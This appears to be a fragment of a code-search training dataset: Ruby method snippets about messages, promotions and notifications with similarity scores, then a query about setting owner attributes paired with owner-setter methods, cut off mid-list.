"def code_promotion_successful?\n promotion_results.code_based.successful?\n end",
"def redelivered; @message_impl.getRedelivered; end",
"def customer_delivery_messages\n # get data\n @delivery_id = params[:customer_delivery_message][:delivery_id]\n @message = params[:customer_delivery_message][:message]\n \n @customer_delivery_message = CustomerDeliveryMessage.where(user_id: current_user.id, delivery_id: @delivery_id).first\n if !@customer_delivery_message.blank?\n @customer_delivery_message.update(message: @message, admin_notified: false)\n else\n @customer_delivery_message = CustomerDeliveryMessage.create(user_id: current_user.id, \n delivery_id: @delivery_id,\n message: @message,\n admin_notified: false)\n end\n \n # now send an email to the Admin to notify of the message\n AdminMailer.admin_message_review(current_user, @message, @delivery_id).deliver_now\n # and update admin_notified field\n @customer_delivery_message.update(admin_notified: true)\n \n redirect_to user_deliveries_path\n end",
"def message\n attributes.fetch(:message)\n end",
"def message\n data.message\n end",
"def get_message\n raise NotImplementedError.new(\"#{self.class.name}#get_message() is not implemented.\")\n end",
"def get_message\n raise NotImplementedError.new(\"#{self.class.name}#get_message() is not implemented.\")\n end",
"def status\n @message\n end",
"def create\n @promotion = current_shop_owner.promotions.new(promotion_params.merge(customer_ids: customer_ids))\n\n # @promotion.translate(@promotion.body)\n\n# make notes that belong to the current shop owner\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to shop_owner_promotion_path(current_shop_owner,@promotion), notice: 'Promotion was successfully created.' }\n # send_text.promotion\n format.json { render :show, status: :created, location: @promotion }\n else\n format.html { render :new }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_sms\n status = self.status\n if status.upcase == 'INTERVENTION'\n self.message\n end\n end",
"def message\n \n end",
"def status_message\n DivaServicesApi::Algorithm.by_id(self.id, self) if @status_message == nil\n @status_message\n end",
"def set_message_price\n @message = if @price_data.blank? \n NO_RESULT_MESSAGE\n else\n SUCCESS_MESSAGE\n end\n end",
"def second_message\n return Message.trainer_sending_pokemon_start\n end",
"def message\n call_once\n @message\n end",
"def message\n\t\tself.object[:message]\n\tend",
"def error_msg(result, return_nothing_if_successful=true)\n return \"\" if successful?(result) && return_nothing_if_successful\n notes = result.notifications\n if notes.respond_to?(:message)\n notes.message\n elsif notes.respond_to?(:first)\n notes.first.message\n else\n \"No message\"\n end\n end",
"def mmsmsg type, data, title, message, wait = true\r\n cmd_mmsmsg type, data, title, message\r\n return false unless wait_for(last_label) if wait\r\n return @response_args\r\n end",
"def message\n @params['ErrorMessage']\n end",
"def message\n params['StatusDetail']\n end",
"def message\n self.description = self.description + merchant_store.store_regards\n end",
"def message\n status.last\n end",
"def retrieve_message(q)\n WMQ::QueueManager.connect(@connection_options) do |qmgr|\n qmgr.open_queue(:q_name => q.name, :mode => :input) do |queue|\n\n get_options = q.get_options.dup\n wmq_message = WMQ::Message.new\n \n if queue.get(get_options.merge(:message => wmq_message))\n return Message.new(wmq_message, q.name)\n else \n return nil\n end\n end\n end\n end",
"def get_message\n @message = Message.find_by(id: params[:id])\n @message or redirect_to admin_messages_path\n end",
"def generate_message(item)\n short_message = ''\n long_message = ''\n code = ''\n\n # status patron message otherwise regular message\n if item[:statusPatronMessage].present?\n code = 'sp'\n long_message = item[:statusPatronMessage]\n short_message = long_message.gsub(/(Try|Place).+/, '').strip\n short_message = short_message.gsub(/\\W$/, '')\n # if record[:patronGroupCode].strip.match(/^(IND|MIS|ACO)/)\n # code = 'sp'\n # long_message = record[:lastName].strip + ' ' + record[:firstName].strip\n # # done in two steps in case ending puctuation is missing\n # short_message = long_message.gsub(/(Try|Place).+/, '').strip\n # short_message = short_message.gsub(/\\W$/, '')\n else\n code = item[:statusCode].to_s\n # append suffix to indicate whether there are requests - n = no requests, r = requests\n item[:requestCount] == 0 ? code += 'n' : code += 'r'\n\n # get parms for the message being processed\n parms = ITEM_STATUS_CODES[code]\n\n raise \"Status code not found in config/item_status_codes.yml\" unless parms\n\n short_message = make_substitutions(parms['short_message'], item)\n long_message = make_substitutions(parms['long_message'], item)\n\n end\n\n # add labels\n short_message = add_label(short_message, item)\n long_message = add_label(long_message, item)\n\n if Rails.env != 'clio_prod'\n short_message = short_message + \" (#{code}/short)\"\n long_message = long_message + \" (#{code}/long)\"\n end\n\n return { :status_code => code,\n :short_message => short_message,\n :long_message => long_message }\n end",
"def message\n response.body.match(/\"message\":\"(.*)\"/)[1]\n end",
"def message\n response.to_json\n end",
"def status_message\n @data[:status_message]\n end",
"def status_message\n if self.deleted_at\n return \"Cancelled\"\n else\n if self.chosen_presenter == nil\n if self.help_required\n return \"Help Required\"\n elsif self.presenters.present?\n return \"Bids Pending\"\n else\n return \"Awaiting Bids\"\n end\n else\n if self.booking_date < Time.now\n return \"Completed\"\n else\n return \"Locked in\"\n end\n end\n end\n end",
"def gift_message\n hash[\"GiftMessage\"]\n end",
"def get_message_from_messageinfo m\n return nil if m.fake?\n @messages[m.message_id] ||= begin\n message = @context.client.load_message m.message_id\n message.parse! @context\n message.chunks.each { |c| @chunk_layouts[c] = ChunkLayout.new c }\n\n if message.unread?\n message.state -= [\"unread\"]\n @context.client.async_set_state! message.message_id, message.state\n @context.ui.broadcast :message_state, message.message_id\n end\n\n message\n end\n end",
"def get_message(patient_name: nil, doctor_name: nil)\n doctor_sms = nil\n doctor_push = nil\n patient_sms = nil\n patient_push = nil\n reason_code_static_name = reason_code.try(:static_name)\n case event.static_name\n when \"Cancelation - GPDQ Error\"\n case reason_code_static_name\n when \"GPDQ Platform Error\"\n doctor_sms = \"Dear Dr #{doctor_name}, We have cancelled your next appointment due to a technical error. Please email your GPDQ account manager for further information\"\n when \"Back office mistake\", \"Tech error\", \"Unspecified\"\n doctor_sms = \"Yes\"\n end\n when \"Patient Cancellation\"\n case reason_code_static_name\n when \"Patient Cancelled via app\"\n doctor_sms = \"Dear Dr #{doctor_name}, #{patient_name} has now cancelled booking ref #{appointment_id}. Cancellation credits may be applicable, please contact your account manager for further information\"\n patient_sms = \"Your cancellation was successful. A cancellation fee will be deducted from your account if the doctor has been despatched to your booking\"\n when \"Patient didn't answer door\"\n patient_sms = \"Dear #{patient_name}, your booking ref #{appointment_id} has been cancelled as the doctor was unable to locate you. As per our t&c's a cancellation fee is applicable\"\n when \"Due to delay\"\n doctor_sms = \"Dear Dr #{doctor_name}, we have now cancelled your next appt as the patient has informed us they are unable to wait any longer\"\n when \"Due to return\"\n doctor_sms = \"Dear Dr #{doctor_name}, your recent return resulted in cancellation by the patient. As per our terms and conditions a customer compensation credit is required.\"\n when \"Prior to doctor confirming on route\"\n doctor_sms = \"Dear Dr #{doctor_name}, we wanted to inform you that the booking in your dashboard has now been cancelled by the patient. Please do not proceed to the appointment\"\n when \"Serious medical issue with Patient\"\n doctor_sms = \"Dear Dr #{doctor_name}, your upcoming booking has been cancelled by the patient due to a serious medical emergency.\"\n end\n when \"Doctor Return\"\n case reason_code_static_name\n when \"60 mins before ETA\", \"30 mins before ETA\"\n patient_sms = \" dr #{doctor_name} has just informed us he/she will be unable to complete your appt due to an unexpected issue. GPDQ has found you a replacement doctor , track him/her here!\"\n when \"15 mins before ETA\"\n patient_sms = \" dr #{doctor_name} has just informed us he/she will be unable to complete your appt due to an unexpected issue. GPDQ has found you a replacement doctor who will arrive within 15 minutes , track him/her here!\"\n end\n when \"Doctor delayed\"\n case reason_code_static_name\n when \"Late >10 minutes\"\n patient_sms = \"Dr #{doctor_name} is running 10 minutes late, apologies for the inconvenience\"\n when \"Late >20 minutes\"\n patient_sms = \"Doctor #{doctor_name} is running late due to traffic and will be with you as soon as possible.\"\n when \"Late >40 minutes\"\n patient_sms = \"Unfotunately Dr #{doctor_name} has been delayed due to an extention with his previous patient & will be with you shortly. A member of our team will contact you to resolve this\"\n end\n when \"Other Customer Service Event\"\n patient_sms = \"Reactive\"\n patient_push = \"Reactive\"\n when \"Booking confirmed\"\n patient_sms = \"Yes\"\n when \"Dispached to doctor\"\n doctor_sms = \"Dear Dr #{doctor_name}, your next appointment is waiting for acceptance.\"\n doctor_push = \"You have a new appointment awaiting acceptance\"\n when \"Doctor not yet confirmed on way when due\"\n doctor_sms = \"Dear Dr #{doctor_name}, please accept your next booking or contact us if you are unable to fulfill this\"\n when \"Doctor confirmed on way\"\n patient_sms = \"Hi #{patient_name}, your booking ref #{appointment_id} is confirmed and doctor #{doctor_name} is on his way. Track him here <link>/track on link\"\n when \"Reminder to Doctor that appt ends in 5 minutes\"\n doctor_push = \"Dr #{doctor_name}, your appointment is coming to an end in 5 minutes. If you need an extension, please inform the patient\"\n when \"Appointment extension in 5 min increments (increment + 3 mins is regarded as the lower increment)\"\n case reason_code_static_name\n when \"5 minute extension\"\n patient_sms = \"Hi #{patient_name}, Your appointment has been extended and any applicable charges will be available to view on your receipt\"\n end\n when \"Additional Onsite Consultation\"\n case reason_code_static_name\n when \"New Patient\"\n patient_sms = \"You have requested an additional consultation with Dr #{doctor_name} which will be deducted from your chosen payment method\"\n end\n end\n message = { doctor_sms: doctor_sms, doctor_push: doctor_push, patient_sms: patient_sms, patient_push: patient_push }\n end",
"def message\n message_hash || 'The item could not be found'.freeze\n end",
"def check_gallery_status_message(gal_name, action = \"deleted\", _browser = @browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 10)\n message = wait.until { _browser.find_element(:xpath => \"//div[contains(@class, 'messages status')]\") }.text\n if (action == \"deleted\")\n expected_message = \"Gallery #{gal_name} has been deleted.\"\n elsif (action == \"blocks_update\")\n expected_message = \"The block settings have been updated.\"\n else\n expected_message = \"Gallery #{gal_name} has been updated.\"\n end\n Log.logger.info(\"Confirmation Message '#{message}' not correct, therefore #{action} action gallery might not have been executed.\") unless expected_message.include?(message)\n end",
"def success_messages\n msg_div.text\n end",
"def check_create_gallery_status_message(gal_name, _browser = @browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 10)\n status_message_gallery_name = \"//div[@class = 'messages status']/em\"\n actual_gallery_title = wait.until { _browser.find_element(:xpath => status_message_gallery_name) }.text\n return actual_gallery_title\n end",
"def message\n return MSG_NOT_ENROLLED unless enrolled?\n return MSG_FULL_ACCESS if registered?\n return MSG_LIMITED_ACCESS if twenty_percent_cnp_exception?\n MSG_FEES_UNPAID\n end",
"def set_notification_message\n case self.acted_with_type\n when \"Opportunity\"\n if self.anonymous\n self.message = \"An opportunity has been posted\"\n elsif self.targetable_type == 'Network'\n self.message = \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n #within #{self.targetable.title.capitalize}\"\n elsif self.action == 'acknowledged'\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} your opportunity\"\n elsif self.action == 'sent'\n self.message= \"#{self.actor.fname.capitalize} #{self.action} you an opportunity\"\n self.message += \" directly\" if self.action == 'sent'\n else\n self.message= \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n end\n when \"Connection\"\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} you to connect\"\n else\n end\n end",
"def message\n @attributes[:message]\n end",
"def message\n lambda do |data|\n return if public_conversation?(data.channel)\n response = resp(data)\n send_response(response, data)\n end\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n respond_to do |format|\n if @promotion.save\n\t\t@promotion.update_notification\n\t\t#@promotion.push\n format.html { redirect_to promotions_path(:playerid=>current_player.playerid), notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_mms_stomp_message\n return MmscManager::MmsStompMessage.new('stomp_MMS',\n self.get_mms_message,self.soap_header_part)\n end",
"def _get_queued_instruction\n\n begin\n\n # pull from the priority queue first\n queue_uri = \"#{@control_queue_uri}_priority_100\"\n response = @sqs.receive_message(queue_url: queue_uri, max_number_of_messages: 1)\n\n\n # otherwise go to the normal queue\n unless response.messages.count > 0\n queue_uri = @control_queue_uri\n response = @sqs.receive_message(queue_url: queue_uri, max_number_of_messages: 1)\n end\n\n control_message = {}\n response.messages.each do |m|\n\n if (m && m.body)\n\n @sqs.delete_message({\n queue_url: queue_uri,\n receipt_handle: m.receipt_handle\n })\n\n # return the first one\n message = JSON.parse(m.body)\n _log \"Got instruction for #{message[\"id\"]}\"\n _log \"#{message}\"\n\n return message\n\n else\n _log_error \"No instructions received!!!\"\n return nil\n end\n end\n rescue JSON::ParserError => e\n _log_error \"Can't parse response\"\n rescue Aws::SQS::Errors::NonExistentQueue\n _log_error \"A queue named '#{queue_name}' does not exist.\"\n end\n\n false\n end",
"def create\n @promotion = Promotion.new(params[:promotion])\n\n respond_to do |format|\n if @promotion.save\n\t\t@promotion.update_notification\n\t\t@promotion.push\n format.html { redirect_to promotions_path(:playerid=>current_player.playerid), notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def promotion\r\n\r\n end",
"def deliver_message\n\t\ttext = interpolate_text @template.text\n\t\tbegin \n\t\t\tsent_sms = send_sms(\"+#{@user.phone}\", text)\n\t\trescue Exception => e\n\t\t\tlogger.info \"Exception thrown interacting with Twillio: #{e}\"\n\t\t\treturn false\n\t\tend\n\n\t\tif(sent_sms.status != \"failed\")\n\t\t\tmessage = Message.create!(user: @user, template: @template, text: text)\n\t\t\ttrue\t\n\t\telse\n\t\t\tlogger.info \"Message failed to send: #{sent_sms}\"\n\t\t\tfalse\n\t\tend\n\tend",
"def status_message\n data.status_message\n end",
"def message_status(text_id)\n command = Command.new('GetSMSStatus', license_key)\n MessageStatus.new(\n Response.parse(\n command.execute({:TextID => text_id})\n )[\"SmsReturn\"]\n )\n end",
"def delivery_details; message[:delivery_details]; end",
"def result\n \n if not self.verification_id.nil?\n verification = Diagnostics::Verification.find(self.verification_id)\n assoc_verification = self.exam.scenario.scenarios_verifications.find_by_verification_id(self.verification_id) rescue nil\n message = ((assoc_verification.nil? or assoc_verification.result.empty?) ? verification.result : assoc_verification.result)\n \n elsif not self.identification_id.nil?\n identification = Diagnostics::Identification.find(self.identification_id)\n assoc_identification = self.exam.scenario.scenarios_identifications.find_by_identification_id(self.identification_id) rescue nil\n message = ((assoc_identification.nil? or assoc_identification.result.empty?) ? identification.result : assoc_identification.result)\n \n elsif not self.rectification.nil?\n rectification = Diagnostics::Rectification.find(self.rectification_id)\n assoc_rectification = self.exam.scenario.scenarios_rectifications.find_by_rectification_id(self.rectification_id) rescue nil\n message = ((assoc_rectification.nil? or assoc_rectification.result.empty?) ? rectification.result : assoc_rectification.result)\n \n end\n \n message\n end",
"def check_gallery_status_message(gal_name, action = \"deleted\")\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n begin\n m_t = wait.until { @browser.find_element(:xpath => \"//div[contains(@class, 'messages status')]\") }\n rescue\n m_t = wait.until { @browser.find_element(:xpath => \"//div[contains(@class, 'messages error')]\") }\n end\n message = m_t.text\n if (action == \"deleted\")\n expected_message = \"Gallery #{gal_name} has been deleted.\"\n elsif (action == \"blocks_update\")\n expected_message = \"The block settings have been updated.\"\n else\n expected_message = \"Gallery #{gal_name} has been updated.\"\n end\n message.should include(expected_message)\n end",
"def status_message\n self.last_transaction.status_message if self.last_transaction\n end",
"def promotion\n seasons = Season.current_seasons\n if Season.finished?(seasons)\n begin\n seasons = Season.promotion_and_relegate(seasons,\n League::NUM_PROMOTIONS)\n seasons.each {|s| s.save!}\n respond_to do |format|\n flash[:notice] = t('defaults.promotion_success')\n format.html {redirect_to leagues_path}\n end\n rescue\n respond_to do |format|\n flash[:error] = t('defaults.promotion_fail')\n format.html {redirect_to leagues_path}\n end\n end\n else\n respond_to do |format|\n flash[:error] = t('defaults.promotion_fail2')\n format.html {redirect_to leagues_path}\n end\n end\n end",
"def message\n body = request.body.read\n if Aws::SNS::MessageVerifier.new.authentic?(body)\n json = JSON.parse(body)\n Rails.logger.debug(\"SNS: Received message: #{json}\")\n if json['Token']\n topic = ::Aws::SNS::Topic.new(Figaro.env.aws_et_sns_topic_arn)\n response = topic.confirm_subscription(token: json['Token'])\n Rails.logger.debug(\"SNS: Confirmed subscription for topic: #{Figaro.env.aws_et_sns_topic_arn}: #{response}\")\n else\n msg = JSON.parse(json['Message'])\n Rails.logger.debug(\"SNS: Message is for job: #{msg['jobId']} with state #{msg['state']}\")\n job = Job.where(external_id: msg['jobId']).first\n if job\n Jobs::Read.call(job: job)\n else\n Rails.logger.debug(\"No Job for job id #{msg['jobId']}\")\n end\n end\n end\n render nothing: true, status: 200, content_type: 'text/html'\n end",
"def message\n @message ||= ::ChattyCrow::Message.new(channel: @channel, token: @token, message_id: @message_id)\n end",
"def build_message\n\n # Get user\n user = User.find(params[\"user_id\"])\n\n # User Info\n user_info = user[\"name\"]+\" \"+user[\"last_name\"]+\" (\"+user[\"email\"]+\"), \"+user[\"jobtitle\"]+\n \", perteneciente al centro de costos \"+user[\"deptname\"]+\", a cursado una solicitud para \"\n\n # Transfer line\n if params[\"request\"] == \"transfer line\"\n ms = user_info+params[\"transfer_line_type\"]+\" su linea de teléfono con número telefónico: +56 9 \"+\n params[\"phone_number\"]\n\n # Smartphone\n elsif params[\"item\"] == \"smartphone\"\n lost = \"\"\n motive = \"\"\n\n #if not technical service\n if params[\"request\"] != \"technical service\"\n # Get smartphone info\n if params[\"want_all\"] == '0'\n params[\"model\"] = get_smartphone(params[\"model_one\"])\n params[\"price\"] = params[\"model\"][\"price\"]\n motive = \"\"\n else\n params[\"model\"] = get_smartphone(params[\"model_all\"])\n motive = \" El modelo smartphone elegido no corresponde al cargo que tiene el trabajador.\n El motivo de la elección que ha dado el trabajador es: \"+params[\"comment\"]+\".\"\n end\n end\n\n # New\n if params[\"request\"] == \"new\"\n ms = user_info+\" un nuevo smartphone modelo \"+params[\"model\"][\"model\"]+\n \", con un valor de $\"+params[\"model\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". \"\n if params[\"want_sim\"] == \"true\"\n ms+= \"El smartphone debe traer tarjeta Sim y el número de teléfono asociado a él \"\n if params[\"want_new_number\"] == \"true\"\n ms+= \"debe ser nuevo.\"\n else\n ms+= \"será cedido por el usuario, correspondiente al número telefónico: +56 9 \"+\n params[\"phone_number\"]+\".\"\n end\n else\n ms+= \"El smartphone no debe traer tarjeta Sim.\"\n end\n\n # Renew, stolen/lost\n elsif params[\"request\"] == \"renew\" || params[\"request\"] == \"stolen/lost\"\n ms = user_info+\" renovar su smartphone, eligiendo el modelo \"+params[\"model\"][\"model\"]+\n \", con un valor referencial de $\"+params[\"model\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". \"\n\n if params[\"request\"] == \"stolen/lost\"\n ms = user_info+\" un nuevo smartphone modelo \"+params[\"model\"][\"model\"]+\n \", con un valor de $\"+params[\"model\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". \"\n lost = \" Esta solicitud fue cursada por la pérdido o robo del smartphone que el trabajador tenia asignado anteriormente.\"\n end\n\n if params[\"want_sim\"] == \"true\"\n ms+= \"El smartphone debe traer tarjeta Sim y el número de teléfono asociado a él \"\n if params[\"number_type\"] == \"new\"\n ms+= \"debe ser nuevo.\"\n params[\"want_new_number\"] = true\n elsif params[\"number_type\"] == \"same\"\n ms+= \"será el mismo que tiene asignado actualmente el usuario, correspondiente al número telefónico: +56 9 \"+\n params[\"same_number\"]+\".\"\n params[\"want_new_number\"] = false\n params[\"phone_number\"] = params[\"same_number\"]\n else\n ms+= \"será cedido por el usuario, correspondiente al número telefónico: +56 9 \"+\n params[\"phone_number\"]+\".\"\n params[\"want_new_number\"] = false\n end\n else\n ms+= \"El smartphone no debe traer tarjeta Sim\"\n end\n\n # technical service\n elsif params[\"request\"] == \"technical service\"\n\n #If user want replacement\n if params[\"want_replacement\"] == \"true\"\n replace= \"El trabajador va a necesitar un dispositivo de reemplazo durante el periodo en que el smartphone es enviado al servicio técnico\"\n else\n replace= \"El trabajador no necesita un dispositivo de reemplazo durante el periodo en que el smartphone es enviado al servicio técnico\"\n end\n\n #message\n ms = user_info+\" enviar al servicio técnico su smartphone modelo \"+\n params[\"model\"]+\", IMEI \"+params[\"imei\"]+\", con número telefónico +56 9 \"+\n params[\"phone_number\"]+\". El desperfecto que presenta el smartphone es \"+\n params[\"comment\"]+\". \"+replace\n\n ms+= motive+lost\n end\n\n # Bam\n elsif params[\"item\"] == \"bam\"\n\n if params[\"request\"] != \"technical service\"\n # Get bam model's info\n params[\"model\"] = get_bam(params[\"model\"])\n # Get bam plan's info\n params[\"plan\"] = get_plan(params[\"plan\"])\n end\n\n # New, stolen/lost\n if params[\"request\"] == \"new\" || params[\"request\"] == \"stolen/lost\"\n # Message\n ms = user_info+\" un nuevo dispositivo Bam modelo \"+params[\"model\"][\"model\"]+\n \", con un valor de $\"+params[\"model\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\n \", asociado al plan \"+params[\"plan\"][\"name\"]+\", el cual tiene un valor de $\"+\n params[\"plan\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". \"\n\n if params[\"request\"] == \"stolen/lost\"\n ms+= \" Esta solicitud fue cursada por la pérdido o robo del dispositivo Bam que el trabajador tenia asignado anteriormente.\"\n end\n\n # Renew\n elsif params[\"request\"] == \"renew\"\n # Message\n ms = user_info+\" renovar su dispositivo Bam, eligiendo el modelo \"+params[\"model\"][\"model\"]+\n \", con un valor de $\"+params[\"model\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\n \". El usuario mantendrá el mismo plan, el cual tiene un valor de $\"+\n params[\"plan\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". \"\n\n # Technical service\n elsif params[\"request\"] == \"technical service\"\n #If user want replacement\n if params[\"want_replacement\"] == \"true\"\n replace= \"El trabajador va a necesitar un dispositivo de reemplazo durante el periodo en que el dispositivo Bam es enviado al servicio técnico\"\n else\n replace= \"El trabajador no necesita un dispositivo de reemplazo durante el periodo en que el dispositivo Bam es enviado al servicio técnico\"\n end\n #message\n ms = user_info+\" enviar al servicio técnico su dispositivo Bam modelo \"+\n params[\"model\"]+\", IMEI \"+params[\"imei\"]+\". El desperfecto que presenta el Bam es \"+\n params[\"comment\"]+\". \"+replace\n end\n\n # Sim\n elsif params[\"item\"] == \"sim\"\n # Message\n ms = user_info+\" una nueva Sim y el número de teléfono asociado a él\"\n\n if params[\"request\"] == \"stolen/lost\"\n ms+= \" debe ser el número telefónico: +56 9 \"+params[\"phone_number\"]+\n \". Esta solicitud fue cursada por la pérdida o robo de la Sim que el trabajador tenia asignado anteriormente.\"\n elsif params[\"want_new_number\"] == \"true\"\n ms+= \" debe ser nuevo.\"\n else\n # Message\n ms+= \" será cedido por el usuario, correspondiente al número telefónico: +56 9 \"+\n params[\"phone_number\"]+\".\"\n end\n\n # Roaming\n elsif params[\"item\"] == \"roaming\"\n # Get Roaming plan's info\n params[\"plan\"] = get_plan(params[\"plan\"])\n # Modify date\n date_split = params[\"start_date\"].split(\"-\")\n params[\"start_date\"] = Date.parse(date_split[2]+\"/\"+date_split[1]+\"/\"+date_split[0])\n\n date_split = params[\"end_date\"].split(\"-\")\n params[\"end_date\"] = Date.parse(date_split[2]+\"/\"+date_split[1]+\"/\"+date_split[0])\n # Message\n ms = user_info+\" el servicio Roaming, con el plan: \"+params[\"plan\"][\"name\"]+\n \", el cual tiene un valor de $\"+params[\"plan\"]['price'].to_s.reverse.gsub(/.{3}(?=.)/, '\\0.').reverse+\". El servicio\n se solicita ya que el trabajador viaja al extranjero debido a: \"+params[\"comment\"]+\n \", entre las fechas: \"+params[\"start_date\"].strftime('%d/%m/%Y')+\" y \"+params[\"end_date\"].strftime('%d/%m/%Y')+\".\"\n end\n\n return ms\n end",
"def message\n self.message_button\n self.wait_until { self.text.include? \"Send Message\" }\n self.class.class_eval { include SendMessagePopUp }\n end",
"def promotion_results\n @promotion_results ||= Promotions::CheckResultCollection.new\n end",
"def send_message\n self.get_message\n self.conn.get.status\n end",
"def process_response(params={})\n member=params[:member]\n text=params[:text]\n mode=params[:mode] # (SMS or email)\n#puts \"**** process_response: self.id=#{self.id}, member=#{member}, text=#{text}\"\n#puts \"**** sent_messages = #{self.sent_messages}\"\n sent_message = self.sent_messages.detect {|m| m.member_id == member.id}\n#puts \"**** sent_message=#{sent_message}\"\n if sent_message && (sent_message.msg_status.nil? || sent_message.msg_status < MessagesHelper::MsgResponseReceived ) \n sent_message.update_attributes(:msg_status=>MessagesHelper::MsgResponseReceived,\n :confirmation_message=>text, :confirmed_time => Time.now, :confirmed_mode => mode)\n else\n AppLog.create(:code => \"Message.response\", \n :description=>\"Message#process_response called for message #{self.id}, member=#{member}, but corresponding sent_message record was not found\", :severity=>'error')\n end\n end",
"def success_message(activity)\n case activity\n when \"start_work\" then \"Work started on #{description(edition)}\"\n when \"skip_fact_check\" then \"The fact check has been skipped for this publication.\"\n else \"#{description(edition)} updated\"\n end\n end",
"def promotion\n @promotion ||= Interface::Promotion.new(self)\n end",
"def process_response(command, text)\n message_id = command[1..99]\n message = Message.find_by_id(message_id)\n#puts \"**** command=#{command}, text=#{text}, @sender.id=#{@sender.id}, message=#{message.id}\"\n if message\n @possible_senders.each do |a_member|\n message.process_response(:member => a_member, :response => text, :mode => 'SMS')\n end\n return I18n.t(\"sms.thanks_for_response\") \n else\n return I18n.t(\"sms.thanks_but_not_found\", :id => message_id) \n end\n return ''\n end",
"def message\n @_message\n end",
"def message\n @_message\n end",
"def build_message\n level_string = (user.level == User::Levels::APPROVER) ? \"an Approver\" : \"a #{user.level_string}\"\n if user.level > user.level_was\n \"You have been promoted to #{level_string} level account from #{user.level_string_was}.\"\n elsif user.level < user.level_was\n \"You have been demoted to #{level_string} level account from #{user.level_string_was}.\"\n end\n end",
"def return(message)\n\n @unit.return(message)\n end",
"def process \n if self.pending\n return \"Needs Signatures\"\n elsif self.filed \n return \"Filed & Sent\"\n elsif self.completed\n return \"Completed\"\n elsif self.failed\n return \"Failed\"\n else # Fail safe\n end \n end"
] |
[
"0.6328493",
"0.6197211",
"0.6011732",
"0.5980916",
"0.5936125",
"0.5829666",
"0.5826266",
"0.5809513",
"0.58044076",
"0.57988846",
"0.5765322",
"0.5678265",
"0.5660866",
"0.56430715",
"0.5641193",
"0.5634102",
"0.5621757",
"0.55711466",
"0.55711466",
"0.55711466",
"0.55711466",
"0.55602705",
"0.55598664",
"0.55192393",
"0.55150884",
"0.55111456",
"0.5505298",
"0.54940295",
"0.5490102",
"0.5481931",
"0.54773057",
"0.5476424",
"0.5463091",
"0.54626006",
"0.5456255",
"0.5451182",
"0.54453903",
"0.5441246",
"0.5441246",
"0.5439524",
"0.54357094",
"0.5425294",
"0.54244393",
"0.5424182",
"0.54114205",
"0.53993726",
"0.53941387",
"0.53813255",
"0.5372309",
"0.53691965",
"0.5367999",
"0.5360713",
"0.53582835",
"0.5339271",
"0.5338448",
"0.53350973",
"0.53327817",
"0.53189456",
"0.52891386",
"0.5276685",
"0.52562463",
"0.5253081",
"0.5247649",
"0.5245892",
"0.5239533",
"0.5234464",
"0.5211891",
"0.5210309",
"0.51903594",
"0.51901513",
"0.51885",
"0.518777",
"0.51874274",
"0.51829886",
"0.51685745",
"0.5168344",
"0.5163071",
"0.51518244",
"0.5151315",
"0.5147805",
"0.51281494",
"0.51163304",
"0.5115691",
"0.51107955",
"0.51084447",
"0.5092894",
"0.5089327",
"0.50814974",
"0.50802535",
"0.5077622",
"0.5072496",
"0.506855",
"0.506788",
"0.5067455",
"0.5058512",
"0.5057051",
"0.5057051",
"0.50562876",
"0.5050041",
"0.5045796"
] |
0.6084504
|
2
|
Sets the owner attributes on the given record
|
def set_owner_attributes(record)
if @owner.persisted?
construct_owner_attributes.each { |key, value| record[key] = value }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def owner=(v) self['Owner'] = v end",
"def owner=(new_owner)\n if new_owner\n attributes[:owner] = {\n :display_name => new_owner['DisplayName'],\n :id => new_owner['ID']\n }\n end\n end",
"def set_owner(id)\n self.owner_id = id\n end",
"def owner=(attributes)\n @owner = User.new(attributes)\n end",
"def owner=(attributes)\n @owner = User.new(attributes)\n end",
"def set_owner\n @owner = Owner.find_by_owner_user_id(current_owner_user.id)\n end",
"def owner=(value)\n self.person = value if a_person\n end",
"def set_owner(owner)\n self.__owner__ = owner if owner\n self\n end",
"def setOwner _obj, _args\n \"_obj setOwner _args;\" \n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:id])\n end",
"def set_owner\n @owner = Owner.find(params[:owner_id])\n end",
"def owner=(value)\n @owner = value\n end",
"def owner=(value)\n @owner = value\n end",
"def owner=(value)\n @owner = value\n end",
"def owner=(value)\n @owner = value\n end",
"def owner=(value)\n @owner = value\n end",
"def set_owner(account)\n unless org = account.organization\n errors.add(:account, \"must have an organization\") and return false\n end\n update_attributes(:account_id => account.id, :organization_id => org.id)\n sql = \"account_id = #{account.id}, organization_id = #{org.id}\"\n self.pages.update_all( sql )\n self.entities.update_all( sql )\n self.entity_dates.update_all( sql )\n end",
"def set_owner #:doc:\n self.owner_class.owner= get_current_owner\n end",
"def owner=(new_owner)\n if @owner != new_owner\n @dacl.reassign!(@owner, new_owner)\n @owner = new_owner\n end\n end",
